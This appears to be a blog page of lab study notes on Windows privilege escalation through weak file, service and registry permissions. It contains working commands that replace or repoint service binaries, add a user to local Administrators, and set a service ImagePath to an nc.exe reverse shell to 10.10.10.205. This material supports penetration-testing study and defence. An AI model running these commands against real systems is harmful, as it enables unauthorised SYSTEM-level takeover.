Keyboard shortcuts

Press ← or → to navigate between chapters

Press S or / to search in the book

Press ? to show this help

Press Esc to hide this help

🏠 Back to Blog

Windows Privilege Escalation — Weak Permissions

Windows permissions (file system ACLs, service ACLs, registry ACLs) are complex, and a small misconfiguration in one place can create an escalation path elsewhere. These flaws are uncommon in mainstream vendor software but common in third-party/open-source tools and custom applications. Since services typically run as NT AUTHORITY\SYSTEM, a permissions flaw on a service (binary, config, or registry key) often leads to full SYSTEM control. Always check for weak permissions — with tooling (SharpUp, AccessChk, PowerSploit/PowerUp) and manually (icacls, sc, accesschk) in case tools aren’t available.

Permissive File System ACLs (Modifiable Service Binary)

If the binary a service executes is writable by a low-privileged user/group, it can be replaced with a malicious payload and executed with the service’s privileges.

Find modifiable service binaries with SharpUp (GhostPack):

PS C:\htb> .\SharpUp.exe audit

=== Modifiable Service Binaries ===

  Name             : SecurityService
  State            : Stopped
  StartMode        : Auto
  PathName         : "C:\Program Files (x86)\PCProtect\SecurityService.exe"

Confirm with icacls — here Everyone and BUILTIN\Users have Full Control (F) over the binary:

PS C:\htb> icacls "C:\Program Files (x86)\PCProtect\SecurityService.exe"
BUILTIN\Users:(I)(F)
Everyone:(I)(F)
NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)

Replace the binary and start the (startable-by-unprivileged-users) service to get a SYSTEM reverse shell or add a local admin:

C:\htb> cmd /c copy /Y SecurityService.exe "C:\Program Files (x86)\PCProtect\SecurityService.exe"
C:\htb> sc start SecurityService

Weak Service Permissions (Modifiable Service Config)

Even if the binary itself is protected, weak DACLs on the service object can allow reconfiguring it (e.g., changing the binary path) without touching the file.

Find modifiable services with SharpUp:

C:\htb> SharpUp.exe audit

=== Modifiable Services ===

  Name             : WindscribeService
  State            : Running
  PathName         : "C:\Program Files (x86)\Windscribe\WindscribeService.exe"

Enumerate rights with AccessChk (-q omit banner, -u suppress errors, -v verbose, -c service name, -w write-access only) — Authenticated Users has SERVICE_ALL_ACCESS:

C:\htb> accesschk.exe /accepteula -quvcw WindscribeService

  RW NT AUTHORITY\SYSTEM
        SERVICE_ALL_ACCESS
  RW BUILTIN\Administrators
        SERVICE_ALL_ACCESS
  RW NT AUTHORITY\Authenticated Users
        SERVICE_ALL_ACCESS

Confirm the current user is not already a local admin:

C:\htb> net localgroup administrators

Reconfigure the service’s binary path to run an arbitrary command (here, adding the user to local Administrators — could also point to a reverse-shell binary):

C:\htb> sc config WindscribeService binpath="cmd /c net localgroup administrators htb-student /add"
C:\htb> sc stop WindscribeService
C:\htb> sc start WindscribeService

The start fails with 1053 because the binpath no longer points at a real service executable, but the command still executes under SYSTEM before the service errors out.

Verify escalation:

C:\htb> net localgroup administrators

Real-world example: The Windows Update Orchestrator Service (UsoSvc) — an essential, non-removable SYSTEM service — was vulnerable to this exact technique (CVE-2019-1322) prior to patching, allowing a service account to modify the binary path and escalate to SYSTEM.

Cleanup

Restore the original binary path and restart the service normally:

C:\htb> sc config WindscribeService binPath="\"C:\Program Files (x86)\Windscribe\WindscribeService.exe\""
C:\htb> sc qc WindscribeService
C:\htb> sc start WindScribeService
C:\htb> sc query WindScribeService

Unquoted Service Path

If a service’s binary path contains spaces and isn’t wrapped in quotes, Windows tries each space-delimited segment in order (implying .exe) before reaching the real binary:

C:\Program Files (x86)\System Explorer\service\SystemExplorerService64.exe

tries, in order:

C:\Program.exe
C:\Program Files.exe
C:\Program Files (x86)\System.exe
C:\Program Files (x86)\System Explorer\service\SystemExplorerService64.exe
C:\htb> sc qc SystemExplorerHelpService
BINARY_PATH_NAME   : C:\Program Files (x86)\System Explorer\service\SystemExplorerService64.exe
SERVICE_START_NAME : LocalSystem

If an attacker can create C:\Program.exe or C:\Program Files (x86)\System.exe, restarting the service executes it as SYSTEM. In practice this is rarely exploitable — creating files at the drive root or in Program Files requires admin rights already, and restarting the service (vs. waiting for reboot) usually requires elevated access too.

Hunt for unquoted, auto-start, non-Windows service paths:

C:\htb> wmic service get name,displayname,pathname,startmode |findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """

Permissive Registry ACLs

Service configuration (including the binary path, via ImagePath) lives in the registry under HKLM\System\CurrentControlSet\services. Weak ACLs here allow reconfiguring a service without any rights on the service object itself.

Check with AccessChk:

C:\htb> accesschk.exe /accepteula "mrb3n" -kvuqsw hklm\System\CurrentControlSet\services

RW HKLM\System\CurrentControlSet\services\ModelManagerService
        KEY_ALL_ACCESS

Abuse with PowerShell to repoint ImagePath at an arbitrary command/binary:

PS C:\htb> Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\ModelManagerService -Name "ImagePath" -Value "C:\Users\john\Downloads\nc.exe -e cmd.exe 10.10.10.205 443"

Modifiable Registry Autorun Binary

Autorun entries (...\CurrentVersion\Run and similar) launch binaries when a user logs in. If the referenced binary is writable, or the registry value itself is writable, by a lower-privileged user, replacing it leads to code execution as the next user to log in (which may be an admin).

Enumerate autorun entries with WMIC/PowerShell:

PS C:\htb> Get-CimInstance Win32_StartupCommand | select Name, command, Location, User |fl

Name     : SecurityHealth
command  : %windir%\system32\SecurityHealthSystray.exe
Location : HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
User     : Public

Check the target binary’s ACLs (icacls) and the registry key’s ACLs (accesschk) for write access by low-privileged groups. See linked references for a broader catalog of autorun locations to check.

Takeaways

  • Always check: service binary ACLs, service DACLs (SERVICE_ALL_ACCESS/SERVICE_CHANGE_CONFIG to non-admins), unquoted paths on auto-start services, registry ACLs under ...\services, and autorun binary/registry ACLs.
  • Tooling: SharpUp (modifiable binaries/services), AccessChk/accesschk (service and registry ACLs), icacls (file ACLs), PowerUp (broader automated checks).
  • Services exploited this way almost always run as SYSTEM — these are high-value, low-complexity escalation paths once found.